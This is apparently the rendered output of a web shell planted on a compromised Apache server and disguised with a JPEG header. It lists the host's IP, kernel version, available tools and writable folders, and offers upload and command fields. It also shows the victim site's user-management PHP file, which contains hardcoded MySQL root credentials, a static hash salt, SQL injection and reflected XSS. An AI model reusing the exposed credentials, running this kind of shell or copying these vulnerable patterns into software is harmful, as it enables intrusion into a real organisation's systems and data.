????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/project/project/manage_users.php
<?php
	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	$showAll = "true";
	$ProjectId = $_GET['projectId'];
	$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
	
	$CustomerRelation =  $_SESSION['ASTACUS_SSO_INFO'][0];
	
	if(md5($_GET['companyId']."Astacus2015") != $_GET['hash']){
		header("Location: index.php"); 
	}
	

?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>

<script>
function MM_openBrWindow2(theURL,winName) { //v2.0

  window.open(theURL,winName,'status=yes, resizable=yes','width='+screen.width,'height='+screen.height);
}


function MM_openBrWindow2(theURL,winName,extra) { //v2.0

  window.open(theURL,winName,extra);
}
</script>
<script type="text/javascript" src="calendar.js">




</script>

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="90">&nbsp;</td>
    <td width="820"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top">          <table width="100%" border="0" cellpadding="0" cellspacing="0">
            <tr >
              <td colspan="4" valign="top" class="text"><span class="heading1">Manage Users</span></td><td width="174" align="center" valign="middle" class="textthin"><div align="right"><span class="heading1"><span class="text">
                <input name="button17" type="button" id="button21" value="Company Log" onclick="MM_openBrWindow2('historylog.php?companyId=<?php echo($_GET['companyId']);?>','win','scrollbars=yes,width=900,height=600');" />
              </span></span></div></td>
              <td width="175" align="center" valign="middle" class="textthin"><div align="right"><span class="heading1"><span class="text">
                <input name="button2" type="button" id="button2" value="Company page" onclick="javascript:location.href='index.php?companyId=<?php echo($_GET['companyId']);?>'" />
              </span></span></div></td>
              <td width="250" align="right" valign="top" class="textthin"><span class="heading1"><a href="javascript:history.back(-1);"><img src="../images/Back-Arrow.jpg" alt="" width="37" height="36" border="0" align="absmiddle" /></a> <a href="javascript:history.back(-1);" class="blacklinkhuge">Back</a></span></td>
            </tr>
          </table>
          <span class="heading2"><br>
          </span>
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="1022" valign="top"><form id="form1" name="form1" method="post" action="addupdate_customer.php?companyId=<?php echo($_GET['companyId']);?>&action=<?php echo($_GET['action']);?>">
                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr class="style6">
                    <td width="31%"><strong>Name</strong></td>
                    <td width="27%"><strong>Userame</strong></td>
                    <td width="7%"><strong>Phone</strong></td>
                    <td width="8%">&nbsp;</td>
                    <td width="14%"><strong>Group</strong></td>
                    <td width="6%"><strong>Status</strong></td>
                    <td width="7%">&nbsp;</td>
                    </tr>
                  </table>
                
                <?php
				
                $sql = "SELECT * FROM SystemUser, UserGroup Where SystemUser.UserGroupId = UserGroup.UserGroupId and CompanyId = ".$_GET['companyId'];

		$result = mysql_query($sql);
		$x=0;
	  	while ($row = mysql_fetch_assoc($result)){ 
	  	
		if($x%2 == 0){
			$color = "#EEEEEE";	
		}else{
			$color = "#FFFFFF";	
		}
				?>
                <table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="<?php echo($color);?>">
                  <tr class="style6">
                    <td width="19%"><?php echo($row['Name']);?></td>
                    <td width="12%"><?php echo($row['Title']);?></td>
                    <td width="27%"><?php echo($row['Username']);?></td>
                    <td width="11%"><?php echo($row['Phone']);?></td>
                    <td width="4%">&nbsp;</td>
                    <td width="14%"><?php echo($row['UserGroupDisplayValue']);?></td>
                    <td width="9%"><?php if($row['SystemUserStatusId'] == 1){echo("Active");}else{echo("Inactive");};?></td>
                    <td width="4%"><input type="button" name="button" id="button" value="Edit" onclick="location.href = '?page=user&action=edit&systemUserId=<?php echo($row['SystemUserId']); ?>&countryId=<?php echo($row['CountryId']); ?>&goto=manage_users&companyId=<?php echo($_GET['companyId']);?>'" /></td>
                    </tr>
                  </table>
                
                <?php
				$x++;
		}
				?>
                <span class="heading2"><br>
                  </span><span class="heading2">                </span>
              </form></td>
              </tr>
          </table>
          <span class="style6"><br>
          <a href="index.php?page=user&action=add&goto=manage_users&companyId=<?php echo($_GET['companyId']);?>">Add new user</a></span></td>
        </tr>
    </table>      
    </td>
    <td width="90">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit